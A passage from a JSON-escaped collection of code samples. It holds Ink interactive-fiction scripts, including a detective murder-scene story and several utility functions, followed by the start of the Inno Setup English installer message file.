x)\n      ~ knowledgeState += statesGained\n      ~ reach (statesToSet)     // set any other states left to set\n      ~ return true            // and we set this state, so true\n \n    - else:\n      ~ return false || reach(statesToSet) \n    }   \n\n//\n// Set up the game\n//\n\nVAR bedroomLightState = (off, on_desk)\n\nVAR knifeState = (under_bed)\n\n\n//\n// Knowledge chains\n//\n\n\nLIST BedKnowledge = neatly_made, crumpled_duvet, hastily_remade, body_on_bed, murdered_in_bed, murdered_while_asleep\n\nLIST KnifeKnowledge = prints_on_knife, joe_seen_prints_on_knife,joe_wants_better_prints, joe_got_better_prints\n\nLIST WindowKnowledge = steam_on_glass, fingerprints_on_glass, fingerprints_on_glass_match_knife\n\n\n//\n// Content\n//\n\n=== murder_scene ===\n    The bedroom. This is where it happened. Now to look for clues.\n- (top)\n    { bedroomLightState ? seen:     <- seen_light  }\n    <- compare_prints(-> top)\n\n    *   (dobed) [The bed...]\n        The bed was low to the ground, but not so low something might not roll underneath. It was still neatly made.\n        ~ reach (neatly_made)\n        - - (bedhub)\n        * *     [Lift the bedcover]\n                I lifted back the bedcover. The duvet underneath was crumpled.\n                ~ reach (crumpled_duvet)\n                ~ BedState = covers_shifted\n        * *     (uncover) {reached(crumpled_duvet)}\n                [Remove the cover]\n                Careful not to disturb anything beneath, I removed the cover entirely. The duvet below was rumpled.\n                Not the work of the maid, who was conscientious to a point. Clearly this had been thrown on in a hurry.\n                ~ reach (hastily_remade)\n                ~ BedState = covers_off\n        * *     (duvet) {BedState == covers_off} [ Pull back the duvet ]\n                I pulled back the duvet. Beneath it was a sheet, sticky with blood.\n                ~ BedState = bloodstain_visible\n                ~ reach (body_on_bed)\n                Either the body had been moved here before being dragged to the floor - or this is was where the murder had taken place.\n        * *     {BedState !? made_up} [ Remake the bed ]\n                Carefully, I pulled the bedsheets back into place, trying to make it seem undisturbed.\n                ~ BedState = made_up\n        * *     [Test the bed]\n                I pushed the bed with spread fingers. It creaked a little, but not so much as to be obnoxious.\n        * *     (darkunder) [Look under the bed]\n                Lying down, I peered under the bed, but could make nothing out.\n\n        * *     {TURNS_SINCE(-> dobed) > 1} [Something else?]\n                I took a step back from the bed and looked around.\n                -> top\n        - -     -> bedhub\n\n    *   {darkunder && bedroomLightState ? on_floor && bedroomLightState ? on}\n        [ Look under the bed ]\n        I peered under the bed. Something glinted back at me.\n        - - (reaching)\n        * *     [ Reach for it ]\n                I fished with one arm under the bed, but whatever it was, it had been kicked far enough back that I couldn't get my fingers on it.\n                -> reaching\n        * *     {Inventory ? cane} [Knock it with the cane]\n                -> knock_with_cane\n\n        * *     {reaching > 1 } [ Stand up ]\n                I stood up once more, and brushed my coat down.\n                -> top\n\n    *   (knock_with_cane) {reaching && TURNS_SINCE(-> reaching) >= 4 &&  Inventory ? cane } [Use the cane to reach under the bed ]\n        Positioning the cane above the carpet, I gave the glinting thing a sharp tap. It slid out from the under the foot of the bed.\n        ~ move_to_supporter( knifeState, on_floor )\n        * *     (standup) [Stand up]\n                Satisfied, I stood up, and saw I had knocked free a bloodied knife.\n                -> top\n\n        * *     [Look under the bed once more]\n                Moving the cane aside, I looked under the bed once more, but there was nothing more there.\n                -> standup\n\n    *   {knifeState ? on_floor} [Pick up the knife]\n        Careful not to touch the handle, I lifted the blade from the carpet.\n        ~ get(knife)\n\n    *   {Inventory ? knife} [Look at the knife]\n        The blood was dry enough. Dry enough to show up partial prints on the hilt!\n        ~ reach (prints_on_knife)\n\n    *   [   The desk... ]\n        I turned my attention to the desk. A lamp sat in one corner, a neat, empty in-tray in the other. There was nothing else out.\n        Leaning against the desk was a wooden cane.\n        ~ bedroomLightState += seen\n\n        - - (deskstate)\n        * *     (pickup_cane) {Inventory !? cane}  [Pick up the cane ]\n                ~ get(cane)\n              I picked up the wooden cane. It was heavy, and unmarked.\n\n        * *    { bedroomLightState !? on } [Turn on the lamp]\n                -> operate_lamp ->\n\n        * *     [Look at the in-tray ]\n                I regarded the in-tray, but there was nothing to be seen. Either the victim's papers were taken, or his line of work had seriously dried up. Or the in-tray was all for show.\n\n        + +     (open)  {open < 3} [Open a drawer]\n                I tried {a drawer at random|another drawer|a third drawer}. {Locked|Also locked|Unsurprisingly, locked as well}.\n\n        * *     {deskstate >= 2} [Something else?]\n                I took a step away from the desk once more.\n                -> top\n\n        - -     -> deskstate\n\n    *     {(Inventory ? cane) && TURNS_SINCE(-> deskstate) <= 2} [Swoosh the cane]\n        I was still holding the cane: I gave it an experimental swoosh. It was heavy indeed, though not heavy enough to be used as a bludgeon.\n        But it might have been useful in self-defence. Why hadn't the victim reached for it? Knocked it over?\n\n    *   [The window...]\n        I went over to the window and peered out. A dismal view of the little brook that ran down beside the house.\n\n        - - (window_opts)\n        <- compare_prints(-> window_opts)\n        * *     (downy) [Look down at the brook]\n                { GlassState ? steamed:\n                    Through the steamed glass I couldn't see the brook. -> see_prints_on_glass -> window_opts\n                }\n                I watched the little stream rush past for a while. The house probably had damp but otherwise, it told me nothing.\n        * *     (greasy) [Look at the glass]\n                { GlassState ? steamed: -> downy }\n                The glass in the window was greasy. No one had cleaned it in a while, inside or out.\n        * *     { GlassState ? steamed && not see_prints_on_glass && downy && greasy }\n                [ Look at the steam ]\n                A cold day outside. Natural my breath should steam. -> see_prints_on_glass ->\n        + +     {GlassState ? steam_gone} [ Breathe on the glass ]\n                I breathed gently on the glass once more. { reached (fingerprints_on_glass): The fingerprints reappeared. }\n                ~ GlassState = steamed\n\n        + +     [Something else?]\n                { window_opts < 2 || reached (fingerprints_on_glass) || GlassState ? steamed:\n                    I looked away from the dreary glass.\n                    {GlassState ? steamed:\n                        ~ GlassState = steam_gone\n                        <> The steam from my breath faded.\n                    }\n                    -> top\n                }\n                I leant back from the glass. My breath had steamed up the pane a little.\n               ~ GlassState = steamed\n\n        - -     -> window_opts\n\n    *   {top >= 5} [Leave the room]\n        I'd seen enough. I {bedroomLightState ? on:switched off the lamp, then} turned and left the room.\n        -> joe_in_hall\n\n    -   -> top\n\n\n= operate_lamp\n    I flicked the light switch.\n    { bedroomLightState ? on:\n        <> The bulb fell dark.\n        ~ bedroomLightState += off\n        ~ bedroomLightState -= on\n    - else:\n        { bedroomLightState ? on_floor: <> A little light spilled under the bed.} { bedroomLightState ? on_desk : <> The light gleamed on the polished tabletop. }\n        ~ bedroomLightState -= off\n        ~ bedroomLightState += on\n    }\n    ->->\n\n\n= compare_prints (-> backto)\n    *   { between ((fingerprints_on_glass, prints_on_knife),     fingerprints_on_glass_match_knife) } \n[Compare the prints on the knife and the window ]\n        Holding the bloodied knife near the window, I breathed to bring out the prints once more, and compared them as best I could.\n        Hardly scientific, but they seemed very similar - very similiar indeed.\n        ~ reach (fingerprints_on_glass_match_knife)\n        -> backto\n\n= see_prints_on_glass\n    ~ reach (fingerprints_on_glass)\n    {But I could see a few fingerprints, as though someone hadpressed their palm against it.|The fingerprints were quite clear and well-formed.} They faded as I watched.\n    ~ GlassState = steam_gone\n    ->->\n\n= seen_light\n    *   {bedroomLightState !? on} [ Turn on lamp ]\n        -> operate_lamp ->\n\n    *   { bedroomLightState !? on_bed  && BedState ? bloodstain_visible }\n        [ Move the light to the bed ]\n        ~ move_to_supporter(bedroomLightState, on_bed)\n\n        I moved the light over to the bloodstain and peered closely at it. It had soaked deeply into the fibres of the cotton sheet.\n        There was no doubt about it. This was where the blow had been struck.\n        ~ reach (murdered_in_bed)\n\n    *   { bedroomLightState !? on_desk } {TURNS_SINCE(-> floorit) >= 2 }\n        [ Move the light back to the desk ]\n        ~ move_to_supporter(bedroomLightState, on_desk)\n        I moved the light back to the desk, setting it down where it had originally been.\n    *   (floorit) { bedroomLightState !? on_floor && darkunder }\n        [Move the light to the floor ]\n        ~ move_to_supporter(bedroomLightState, on_floor)\n        I picked the light up and set it down on the floor.\n    -   -> top\n\n=== joe_in_hall\n    My police contact, Joe, was waiting in the hall. 'So?' he demanded. 'Did you find anything interesting?'\n- (found)\n    *   {found == 1} 'Nothing.'\n        He shrugged. 'Shame.'\n        -> done\n    *   { Inventory ? knife } 'I found the murder weapon.'\n        'Good going!' Joe replied with a grin. 'We thought the murderer had gotten rid of it. I'll bag that for you now.'\n        ~ move_to_supporter(knifeState, with_joe)\n\n    *   {reached(prints_on_knife)} { knifeState ? with_joe }\n        'There are prints on the blade[.'],' I told him.\n        He regarded them carefully.\n        'Hrm. Not very complete. It'll be hard to get a match from these.'\n        ~ reach (joe_seen_prints_on_knife)\n    *   { reached((fingerprints_on_glass_match_knife, joe_seen_prints_on_knife)) }\n        'They match a set of prints on the window, too.'\n        'Anyone could have touched the window,' Joe replied thoughtfully. 'But if they're more complete, they should help us get a decent match!'\n        ~ reach (joe_wants_better_prints)\n    *   { between(body_on_bed, murdered_in_bed)}\n        'The body was moved to the bed at some point[.'],' I told him. 'And then moved back to the floor.'\n        'Why?'\n        * *     'I don't know.'\n                Joe nods. 'All right.'\n        * *     'Perhaps to get something from the floor?'\n                'You wouldn't move a whole body for that.'\n        * *     'Perhaps he was killed in bed.'\n                'It's just speculation at this point,' Joe remarks.\n    *   { reached(murdered_in_bed) }\n        'The victim was murdered in bed, and then the body was moved to the floor.'\n        'Why?'\n        * *     'I don't know.'\n                Joe nods. 'All right, then.'\n        * *     'Perhaps the murderer wanted to mislead us.'\n                'How so?'\n            * * *   'They wanted us to think the victim was awake[.'], I replied thoughtfully. 'That they were meeting their attacker, rather than being stabbed in their sleep.'\n            * * *   'They wanted us to think there was some kind of struggle[.'],' I replied. 'That the victim wasn't simply stabbed in their sleep.'\n            - - -   'But if they were killed in bed, that's most likely what happened. Stabbed, while sleeping.'\n                    ~ reach (murdered_while_asleep)\n        * *     'Perhaps the murderer hoped to clean up the scene.'\n                'But they were disturbed? It's possible.'\n\n    *   { found > 1} 'That's it.'\n        'All right. It's a start,' Joe replied.\n        -> done\n    -   -> found\n-   (done)\n    {\n    - between(joe_wants_better_prints, joe_got_better_prints):\n        ~ reach (joe_got_better_prints)\n        <> 'I'll get those prints from the window now.'\n    - reached(joe_seen_prints_on_knife):\n        <> 'I'll run those prints as best I can.'\n    - else:\n        <> 'Not much to go on.'\n    }\n    -> END\n\n\n"
  },
  {
    "path": "samples/Ink/print_number.ink",
    "content": "/*\n    Converts a number between -1,000,000,000 and 1,000,000,000 into its printed (integer) equivalent.\n\n    Usage: \n\n    There are {print_number(RANDOM(100000,10000000))} stars in the sky.\n\n    Pi is roughly {print_number(3.1417)}.\n\n*/\n\n=== function print_number(x) \n~ x = INT(x) // cast to an int, since this function can only handle ints!\n{\n    - x >= 1000000:\n        ~ temp k = x mod 1000000\n        {print_number((x - k) / 1000000)} million{ k > 0:{k < 100: and|{x mod 100 != 0:<>,}} {print_number(k)}}\n    - x >= 1000:\n        ~ temp y = x mod 1000\n        {print_number((x - y) / 1000)} thousand{ y > 0:{y < 100: and|{x mod 100 != 0:<>,}} {print_number(y)}}\n    - x >= 100:\n        ~ temp z = x mod 100\n        {print_number((x - z) / 100)} hundred {z > 0:and {print_number(z)}}\n    - x == 0:\n        zero\n    - x < 0: \n        minus {print_number(-1 * x)}\n    - else:\n        { x >= 20:\n            { x / 10:\n                - 2: twenty\n                - 3: thirty\n                - 4: forty\n                - 5: fifty\n                - 6: sixty\n                - 7: seventy\n                - 8: eighty\n                - 9: ninety\n            }\n            { x mod 10 > 0:\n                <>-<>\n            }\n        }\n        { x < 10 || x > 20:\n            { x mod 10:\n                - 1: one\n                - 2: two\n                - 3: three\n                - 4: four\n                - 5: five\n                - 6: six\n                - 7: seven\n                - 8: eight\n                - 9: nine\n            }\n        - else:\n            { x:\n                - 10: ten\n                - 11: eleven\n                - 12: twelve\n                - 13: thirteen\n                - 14: fourteen\n                - 15: fifteen\n                - 16: sixteen\n                - 17: seventeen\n                - 18: eighteen\n                - 19: nineteen\n            }\n        }\n} \n"
  },
  {
    "path": "samples/Ink/seen_this_scene.ink",
    "content": "/*\n\tTests if the flow has reached a particular gather \"this scene\". This is an extension of \"seen_more_recently_than\", but it's so useful it's worth having separately.\n\n\tUsage: \n\n\t// define where the start of the scene is\n\t~ sceneStart = -> start_of_scene\n\n\t- (start_of_scene)\n\t\t\"Welcome!\"\n\n\t- (opts)\t\n\t\t<- cough_politely(-> opts)\n\n\t\t*\t{ seen_this_scene(-> cough_politely.cough) }\n\t\t\t\"Hello!\"\n\t\t\n\t\t+\t{ not seen_this_scene(-> cough_politely.cough) }\n\t\t\t[\"Hello!\"]\n\t\t\tI try to speak, but I can't get the words out!\n\t\t\t-> opts\n\n\n\t\t\n\t=== cough_politely(-> go_to)\n\t\t*\t(cough) [Cough politely]\n\t\t\tI clear my throat. \n\t\t\t-> go_to\n\t\t\n*/\n\n\nVAR sceneStart = -> seen_this_scene \n\n=== function seen_this_scene(-> link)\n\t{  sceneStart == -> seen_this_scene:\n\t\t[ERROR] - you need to initialise the sceneStart variable before using \"seen_this_scene\"!\n\t\t~ return false\n\t}\n\t~ return seen_more_recently_than(link, sceneStart)\n\t\n\n=== function seen_more_recently_than(-> link, -> marker)\n\t{ TURNS_SINCE(link) >= 0: \n        { TURNS_SINCE(marker) == -1: \n            ~ return true \n        } \n        ~ return TURNS_SINCE(link) < TURNS_SINCE(marker) \n    }\n    ~ return false \n\n"
  },
  {
    "path": "samples/Ink/string_to_list.ink",
    "content": "\n/*\n\tConverts a string to the corresponding list element from a particular list. Note the element doesn't need to be in the list variable at that moment in time! \n\n\tUseful for sending parameters into the ink from the game: the game can store and pass in the string ID of the list element as a parameter.\n\n\tReturns the empty list () if the element isn't found.\n\n\tUsage: \n\n\tLIST capitalCities = Paris, London, NewYork\n\n\t~ temp thisCity = string_to_list(\"Paris\", capitalCities)\n\t~ capitalCities += thisCity\n\tI've now visited {thisCity}.\n\n\tOptimisation:\n\n\tThe code below works in inky, but can be externalised to speed up performance in game, with the following external C# function binding:\n\n\tstory.BindExternalFunction(\"STRING_TO_LIST\", (string itemKey) => {\n        try\n        {\n            return InkList.FromString(itemKey, story);\n        }\n        catch\n        {\n            return new InkList();\n        }\n    }, true);\n\n*/\n\n=== function string_to_list(stringElement, listSource)\n    ~ temp retVal = STRING_TO_LIST(stringElement) \n    { USED_STRING_TO_LIST_FALLBACK:\n    \t~ retVal = stringAsPickedFromList(stringElement, LIST_ALL(listSource) ) \n    }\n     ~ return retVal\n\n\nEXTERNAL STRING_TO_LIST(stringElement) \n=== function STRING_TO_LIST(stringElement) \n    ~ return USED_STRING_TO_LIST_FALLBACK()\n\n=== function USED_STRING_TO_LIST_FALLBACK() \n\t// this stub function is used to detect that the game isn't using an external function\n    ~ return     \n\n// fallback system: recurse through the listToTry, trying to string match the element name\n=== function stringAsPickedFromList(stringElement, listToTry)\n    ~ temp minElement = LIST_MIN(listToTry) \n    {minElement:\n        { stringElement == \"{minElement}\":\n            ~ return minElement\n        }\n        ~ return stringAsPickedFromList(stringElement, listToTry - minElement)\n    }       \n    ~ return () "
  },
  {
    "path": "samples/Ink/thread_in_tunnel.ink",
    "content": "\n/*\n\tThreads in a given flow as a tunnel, with a given location to tunnel back to. \n\n\tIf choices within this content are taken, they should end with a tunnel return (->->).\n\n\tUseful for \"pasting in\" the same block of optional content into multiple locations.\n\n\tUsage: \n\n\n\t- (opts)\n\t\t<- thread_in_tunnel(-> eat_apple, -> opts)\n\t\t<- thread_in_tunnel(-> eat_banana, -> get_going)\n\t\t*\t[ Leave hungry ]\n\t\t\t-> get_going\n\n\t=== get_going\n\t\tYou leave. \n\t\t-> END \n\n\t=== eat_apple \n\t\t*\t[ Eat an apple ]\n\t\t\tYou eat an apple. It doesn't help.\n\t\t\t->->\n\n\t=== eat_banana \n\t\t*\t[ Eat a banana ]\n\t\t\tYou eat a banana. It's very satisfying.\n\t\t\t->->\n\t\t\n\t\t\n*/\n\n=== thread_in_tunnel(-> tunnel_to_run, -> place_to_return_to)\n\n    ~ temp entryTurnChoice = TURNS()\n    \n    -> tunnel_to_run ->\n \n \t// if the tunnel contained choices which were chosen, then the turn count will \n \t// have increased, so we should use the given return point to continue the flow.\n    {entryTurnChoice != TURNS():\n        -> place_to_return_to      \n    }  \n\n    // otherwise the given tunnel simply ran through, in which case we should treat\n    // this as a side-thread, and close it down.\n    -> DONE "
  },
  {
    "path": "samples/Inno Setup/Default.isl",
    "content": "; *** Inno Setup version 6.0.3+ English messages ***\n;\n; To download user-contributed translations of this file, go to:\n;   https://jrsoftware.org/files/istrans/\n;\n; Note: When translating this text, do not add periods (.) to the end of\n; messages that didn't have them already, because on those messages Inno\n; Setup adds the periods automatically (appending a period would result in\n; two periods being displayed).\n\n[LangOptions]\n; The following three entries are very important. Be sure to read and\n; understand the '[LangOptions] section' topic in the help file.\nLanguageName=English\nLanguageID=$0409\nLanguageCodePage=0\n; If the language you are translating to requires special font faces or\n; sizes, uncomment any of the following entries and change them accordingly.\n;DialogFontName=\n;DialogFontSize=8\n;WelcomeFontName=Verdana\n;WelcomeFontSize=12\n;TitleFontName=Arial\n;TitleFontSize=29\n;CopyrightFontName=Arial\n;CopyrightFontSize=8\n\n[Messages]\n\n; *** Application titles\nSetupAppTitle=Setup\nSetupWindowTitle=Setup - %1\nUninstallAppTitle=Uninstall\nUninstallAppFullTitle=%1 Uninstall\n\n; *** Misc. common\nInformationTitle=Information\nConfirmTitle=Confirm\nErrorTitle=Error\n\n; *** SetupLdr messages\nSetupLdrStartupMessage=This will install %1. Do you wish to continue?\nLdrCannotCreateTemp=Unable to create a temporary file. Setup aborted\nLdrCannotExecTemp=Unable to execute file in the temporary directory. Setup aborted\nHelpTextNote=\n\n; *** Startup error messages\nLastErrorMessage=%1.%n%nError %2: %3\nSetupFileMissing=The file %1 is missing from the installation directory. Please correct the problem or obtain a new copy of the program.\nSetupFileCorrupt=The setup files are corrupted. Please obtain a new copy of the program.\nSetupFileCorruptOrWrongVer=The setup files are corrupted, or are incompatible with this version of Setup. Please correct the problem or obtain a new copy of the program.\nInvalidParameter=An invalid parameter was passed on the command line:%n%n%1\nSetupAlreadyRunning=Setup is already running.\nWindowsVersionNotSupported=This program does not support the version of Windows your computer is running.\nWindowsServicePackRequired=This program requires %1 Service Pack %2 or later.\nNotOnThisPlatform=This program will not run on %1.\nOnlyOnThisPlatform=This program must be run on %1.\nOnlyOnTheseArchitectures=This program can only be installed on versions of Windows designed for the following processor architectures:%n%n%1\nWinVersionTooLowError=This program requires %1 version %2 or later.\nWinVersionTooHighError=This program cannot be installed on %1 version %2 or later.\nAdminPrivilegesRequired=You must be logged in as an administrator when installing this program.\nPowerUserPrivilegesRequired=You must be logged in as an administrator or as a member of the Power Users group when installing this program.\nSetupAppRunningError=Setup has detected that %1 is currently running.%n%nPlease close all instances of it now, then click OK to continue, or Cancel to exit.\nUninstallAppRunningError=Uninstall has detected that %1 is currently running.%n%nPlease close all instances of it now, then click OK to continue, or Cancel to exit.\n\n; *** Startup questions\nPrivilegesRequiredOverrideTitle=Select Setup Install Mode\nPrivilegesRequiredOverrideInstruction=Select install mode\nPrivilegesRequiredOverrideText1=%1 can be installed for all users (requires administrative privileges), or for you only.\nPrivilegesRequiredOverrideText2=%1 can be installed for you only, or for all users (requires administrative privileges).\nPrivilegesRequiredOverrideAllUsers=Install for &all users\nPrivilegesRequiredOverrideAllUsersRecommended=Install for &all users (recommended)\nPrivilegesRequiredOverrideCurrentUser=Install for &me only\nPrivilegesRequiredOverrideCurrentUserRecommended=Install for &me only (recommended)\n\n; *** Misc. errors\nErrorCreatingDir=Setup was unable to create the directory \"%1\"\nErrorTooManyFilesInDir=Unable to create a file in the directory \"%1\" because it contains too many files\n\n; *** Setup common messages\nExitSetupTitle=Exit Setup\nExitSetupMessage=Setup is not complete. If you exit now, the program will not be installed.%n%nYou may run Setup again at another time to complete the installation.%n%nExit Setup?\nAboutSetupMenuItem=&About Setup...\nAboutSetupTitle=About Setup\nAboutSetupMessage=%1 version %2%n%3%n%n%1 home page:%n%4\nAboutSetupNote=\nTranslatorNote=\n\n; *** Buttons\nButtonBack=< &Back\nButtonNext=&Next >\nButtonInstall=&Install\nButtonOK=OK\nButtonCancel=Cancel\nButtonYes=&Yes\nButtonYesToAll=Yes to &All\nButtonNo=&No\nButtonNoToAll=N&o to All\nButtonFinish=&Finish\nButtonBrowse=&Browse...\nButtonWizardBrowse=B&rowse...\nButtonNewFolder=&Make New Folder\n\n; *** \"Select Language\" dialog messages\nSelectLanguageTitle=Select Setup Language\nSelectLanguageLabel=Select the language to use during the installation.\n\n; *** Common wizard text\nClickNext=Click Next to continue, or Cancel to exit Setup.\nBeveledLabel=\nBrowseDialogTitle=Browse For Folder\nBrowseDialogLabel=Select a folder in the list below, then click OK.\nNewFolderName=New Folder\n\n; *** \"Welcome\" wizard page\nWelcomeLabel1=Welcome to the [name] Setup Wizard\nWelcomeLabel2=This will install [name/ver] on your computer.%n%nIt is recommended that you close all other applications before continuing.\n\n; *** \"Password\" wizard page\nWizardPassword=Password\nPasswordLabel1=This installation is password protected.\nPasswordLabel3=Please provide the password, then click Next to continue. Passwords are case-sensitive.\nPasswordEditLabel=&Password:\nIncorrectPassword=The password you entered is not correct. Please try again.\n\n; *** \"License Agreement\" wizard page\nWizardLicense=License Agreement\nLicenseLabel=Please read the following important information before continuing.\nLicenseLabel3=Please read the following License Agreement. You must accept the terms of this agreement before continuing with the installation.\nLicenseAccepted=I &accept the agreement\nLicenseNotAccepted=I &do not accept the agreement\n\n; *** \"Information\" wizard pages\nWizardInfoBefore=Information\nInfoBeforeLabel=Please read the following important information before continuing.\nInfoBeforeClickLabel=When you are ready to continue with Setup, click Next.\nWizardInfoAfter=Information\nInfoAfterLabel=Please read the following important information before continuing.\nInfoAfterClickLabel=When you are ready to continue with Setup, click Next.\n\n; *** \"User Information\" wizard page\nWizardUserInfo=User Information\nUserInfoDesc=Please enter your information.\nUserInfoName=&User Name:\nUserInfoOrg=&Organization:\nUserInfoSerial=&Serial Number:\nUserInfoNameRequired=You must enter a name.\n\n; *** \"Select Destination Location\" wizard page\nWizardSelectDir=Select Destination Location\nSelectDirDesc=Where should [name] be installed?\nSelectDirLabel3=Setup will install [name] into the following folder.\nSelectDirBrowseLabel=To continue, click Next. If you would like to select a different folder, click Browse.\nDiskSpaceGBLabel=At least [gb] GB of free disk space is required.\nDiskSpaceMBLabel=At least [mb] MB of free disk space is required.\nCannotInstallToNetworkDrive=Setup cannot install to a network drive.\nCannotInstallToUNCPath=Setup cannot install to a UNC path.\nInvalidPath=You must enter a full path with drive letter; for example:%n%nC:\\APP%n%nor a UNC path in the form:%n%n\\\\server\\share\nInvalidDrive=The drive or UNC share you selected does not exist or is not accessible. Please select another.\nDiskSpaceWarningTitle=Not Enough Disk Space\nDiskSpaceWarning=Setup requires at least %1 KB of free space to install, but the selected drive only has %2 KB available.%n%nDo you want to continue anyway?\nDirNameTooLong=The folder name or path is too long.\nInvalidDirName=The folder name is not valid.\nBadDirName32=Folder names cannot include any of the following characters:%n%n%1\nDirExistsTitle=Folder Exists\nDirExists=The folder:%n%n%1%n%nalready exists. Would you like to install to that folder anyway?\nDirDoesntExistTitle=Folder Does Not Exist\nDirDoesntExist=The folder:%n%n%1%n%ndoes not exist. Would you like the folder to be created?\n\n; *** \"Select Components\" wizard page\nWizardSelectComponents=Select Components\nSelectComponentsDesc=Which components should be installed?\nSelectComponentsLabel2=Select the components you want to install; clear the components you do not want to install. Click Next when you are ready to continue.\nFullInstallation=Full installation\n; if possible don't translate 'Compact' as 'Minimal' (I mean 'Minimal' in your language)\nCompactInstallation=Compact installation\nCustomInstallation=Custom installation\nNoUninstallWarningTitle=Components Exist\nNoUninstallWarning=Setup has detected that the following components are already installed on your computer:%n%n%1%n%nDeselecting these components will not uninstall them.%n%nWould you like to continue anyway?\nComponentSize1=%1 KB\nComponentSize2=%1 MB\nComponentsDiskSpaceGBLabel=Current selection requires at least [gb] GB of disk space.\nComponentsDiskSpaceMBLabel=Current selection requires at least [mb] MB of disk space.\n\n; *** \"Select Additional Tasks\" wizard page\nWizardSelectTasks=Select Additional Tasks\nSelectTasksDesc=Which additional tasks should be performed?\nSelectTasksLabel2=Select the additional tasks you would like Setup to perform while installing [name], then click Next.\n\n; *** \"Select Start Menu Folder\" wizard page\nWizardSelectProgramGroup=Select Start Menu Folder\nSelectStartMenuFolderDesc=Where should Setup place the program's shortcuts?\nSelectStartMenuFolderLabel3=Setup will create the program's shortcuts in the following Start Menu folder.\nSelectStartMenuFolderBrowseLabel=To continue, click Next. If you would like to select a different folder, click Browse.\nMustEnterGroupName=You must enter a folder name.\nGroupNameTooLong=The folder name or path is too long.\nInvalidGroupName=The folder name is not valid.\nBadGroupName=The folder name cannot include any of the following characters:%n%n%1\nNoProgramGroupCheck2=&Don't create a Start Menu folder\n\n; *** \"Ready to Install\" wizard page\nWizardReady=Ready to Install\nReadyLabel1=Setup is now ready to begin installing [name] on your computer.\nReadyLabel2a=Click Install to continue with the installation, or click Back if you want to review or change any settings.\nReadyLabel2b=Click Install to continue with the installation.\nReadyMemoUserInfo=User information:\nReadyMemoDir=Destination location:\nReadyMemoType=Setup type:\nReadyMemoComponents=Selected components:\nReadyMemoGroup=Start Menu folder:\nReadyMemoTasks=Additional tasks:\n\n; *** \"Preparing to Install\" wizard page\nWizardPreparing=Preparing to Install\nPreparingDesc=Setup is preparing to install [name] on your computer.\nPreviousInstallNotCompleted=The installation/removal of a previous program was not completed. You will need to restart your computer to complete that installation.%n%nAfter restarting your computer, run Setup again to complete the installation of [name].\nCannotContinue=Setup cannot continue. Please click Cancel to exit.\nApplicationsFound=The following applications are using files that need to be updated by Setup. It is recommended that you allow Setup to automatically close these applications.\nApplicationsFound2=The following applications are using files that need to be updated by Setup. It is recommended that you allow Setup to automatically close these applications. After the installation has completed, Setup will attempt to restart the applications.\nCloseApplications=&Automatically close the applications\nDontCloseApplications=&Do not close the applications\nErrorCloseApplications=Setup was unable to automatically close all applications. It is recommended that you close all applications using files that need to be updated by Setup before continuing.\nPrepareToInstallNeedsRestart=Setup must restart your computer. After restarting your computer, run Setup again to complete the installation of [name].%n%nWould you like to restart now?\n\n; *** \"Installing\" wizard page\nWizardInstalling=Installing\nInstallingLabel=Please wait while Setup installs [name] on your computer.\n\n; *** \"Setup Completed\" wizard page\nFinishedHeadingLabel=Completing the [name] Setup Wizard\nFinishedLabelNoIcons=Setup has finished installing [name] on your computer.\nFinishedLabel=Setup has finished installing [name] on your computer. The application may be launched by selecting the installed shortcuts.\nClickFinish=Click Finish to exit Setup.\nFinishedRestartLabel=To complete the installation of [name], Setup must restart your computer. Would you like to restart now?\nFinishedRestartMessage=To complete the installation of [name], Setup must restart your computer.%n%nWould you like to restart now?\nShowReadmeCheck=Yes, I would like to view the README file\nYesRadio=&Yes, restart the computer now\nNoRadio=&No, I will restart the computer later\n; used for example as 'Run MyProg.exe'\nRunEntryExec=Run %1\n; used for example as 'View Readme.txt'\nRunEntryShellExec=View %1\n\n; *** \"Setup Needs the Next Disk\" stuff\nChangeDiskTitle=Setup Needs the Next Disk\nSelectDiskLabel2=Please insert Disk %1 and click OK.%n%nIf the files on this disk can be found in a folder other than the one displayed below, enter the correct path or click Browse.\nPathLabel=&Path:\nFileNotInDir2=The file \"%1\" could not be located in \"%2\". Please insert the correct disk or select another folder.\nSelectDirectoryLabel=Please specify the location of the next disk.\n\n; *** Installation phase messages\nSetupAborted=Setup was not completed.%n%nPlease correct the problem and run Setup again.\nAbortRetryIgnoreSelectAction=Select action\nAbortRetryIgnoreRetry=&Try again\nAbortRetryIgnoreIgnore=&Ignore the error and continue\nAbortRetryIgnoreCancel=Cancel installation\n\n; *** Installation status messages\nStatusClosingApplications=Closing applications...\nStatusCreateDirs=Creating directories...\nStatusExtractFiles=Extracting files...\nStatusCreateIcons=Creating shortcuts...\nStatusCreateIniEntries=Creating INI entries...\nStatusCreateRegistryEntries=Creating registry entries...\nStatusRegisterFiles=Registering files...\nStatusSavingUninstall=Saving uninstall information...\nStatusRunProgram=Finishing installation...\nStatusRestartingApplications=Restarting applications...\nStatusRollback=Rolling back changes...\n\n; *** Misc. errors\nErrorInternal2=Internal error: %1\nErrorFunctionFailedNoCode=%1 failed\nErrorFunctionFailed=%1 failed; code %2\nErrorFunctionFailedWithMessage=%1 failed; code %2.%n%3\nErrorExecutingProgram=Unable to execute file:%n%1\n\n; *** Registry errors\nErrorRegOpenKey=Error opening registry key:%n%1\\%2\nErrorRegCreateKey=Error creating registry key:%n%1\\%2\nErrorRegWriteKey=Error writing to registry key:%n%1\\%2\n\n; *** INI errors\nErrorIniEntry=Error creating INI entry in file \"%1\".\n\n; *** File copying errors\nFileAbortRetryIgnoreSkipNotRecommended=&Skip this file (not recommended)\nFileAbortRetryIgnoreIgnoreNotRecommended=&Ignore the error and continue (not recommended)\nSourceIsCorrupted=The source file is corrupted\nSourceDoesntExist=The source file \"%1\" does not exist\nExistingFileReadOnly2=The existing file could not be replaced because it is marked read-only.\nExistingFileReadOnlyRetry=&Remove the read-only attribute and try again\nExistingFileReadOnlyKeepExisting=&Keep the existing file\nErrorReadingExistingDest=An error occurred while trying to read the existing file:\nFileExists=The file already exists.%n%nWould you like Setup to overwrite it?\nExistingFileNewer=The existing file is newer than the one Setup is trying to install. It is recommended that you keep the existing file.%n%nDo you want to keep the existing file?\nErrorChangingAttr=An error occurred while trying to change the attributes of the existing file:\nErrorCreatingTemp=An error occurred while trying to create a file in the destination directory:\nErrorReadingSource=An error occurred while trying to read the source file:\nErrorCopying=An error occurred while trying to copy a file:\nErrorReplacingExistingFile=An error occurred while trying to replace the existing file:\nErrorRestartReplace=RestartReplace failed:\nErrorRenamingTemp=An error occurred while trying to rename a file in the destination directory:\nErrorRegisterServer=Unable to register the DLL/OCX: %1\nErrorRegSvr32Failed=RegSvr32 